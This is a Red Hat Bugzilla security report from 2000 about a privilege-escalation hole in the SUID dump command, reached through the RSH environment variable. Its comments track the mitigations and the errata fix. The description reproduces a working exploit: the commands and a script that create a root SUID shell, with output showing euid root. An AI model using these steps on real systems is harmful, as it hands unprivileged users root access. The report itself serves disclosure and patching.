Bug 20111

Summary: RH6.2 dump SUID exploit (via RSH env. var)
Product: [Retired] Red Hat Linux Reporter: Philip Rowlands <bugzilla>
Component: dumpAssignee: Nalin Dahyabhai <nalin>
Status: CLOSED ERRATA QA Contact: Dale Lovelace <dale>
Severity: medium Docs Contact:
Priority: high    
Version: 6.2CC: dr
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2000-11-03 03:08:22 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Philip Rowlands 2000-10-31 17:52:26 UTC 
This from Bugtraq. Tested, works :(


1. Problem:
Linux dump command executes external program with suid priviledge.

2. Tested Version
dump-0.4b15

3. Example
[mat@localhost mat]$ export TAPE=garbage:garbage
[mat@localhost mat]$ export RSH=/home/mat/execute_this
[mat@localhost mat]$ cat > /home/mat/execute_this
#!/bin/sh
cp /bin/sh /home/mat/sh
chmod 4755 /home/mat/sh
[mat@localhost mat]$ chmod 755 /home/mat/execute_this
[mat@localhost mat]$ /sbin/dump -0 /
  DUMP: Connection to garbage established.
  DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
  DUMP: Label: none
/dev/hda2: Permission denied while opening filesystem
 [mat@localhost mat]$ ls -la /home/mat/sh
 -rwsr-xr-x    1 root     tty        316848 Oct 31 14:38 /home/mat/sh
 [mat@localhost mat]$ /home/mat/sh
 bash# id
 uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)
Comment 1 Philip Rowlands 2000-10-31 18:11:49 UTC 
Advise for anyone who needs a quick fix: either remove the package, if you don't
need it (rpm -e dump), or remove the SUID bit from /sbin/dump *and*
/sbin/restore (restore(8) lists the same RSH variable).
Comment 2 Daniel Roesen 2000-10-31 20:56:29 UTC 
*** Bug 20112 has been marked as a duplicate of this bug. ***
Comment 3 Jeff Johnson 2000-11-01 21:25:39 UTC 
Fixed in dump-0.4b19-5.
Comment 4 Daniel Roesen 2000-11-03 02:11:25 UTC 
dump-static suffers obviously from the same problem, so an errata update is
needed for this package, too. Reopening.
Comment 5 Daniel Roesen 2000-11-03 03:08:19 UTC 
The advisory mentiones update RPMs for dump-static and rmt, but they are not on
updates.redhat.com.
Comment 6 Daniel Roesen 2000-11-03 18:48:37 UTC 
19:48:40 `SRPMS/dump-0.4b19-5.6x.src.rpm' size = 166647 has new time, getting
19:48:41 `i386/dump-0.4b19-5.6x.i386.rpm' size = 88538 has new time, getting
19:48:41 `i386/dump-static-0.4b19-5.6x.i386.rpm' size = 426967 is missing,
getting.
19:48:41 `i386/rmt-0.4b19-5.6x.i386.rpm' size = 12550 is missing, getting.

ok, so the dump errata was re-issued, now with dump-static & rmt. Closing bug.
Comment 7 Jeff Johnson 2000-11-09 13:15:18 UTC 
*** Bug 20565 has been marked as a duplicate of this bug. ***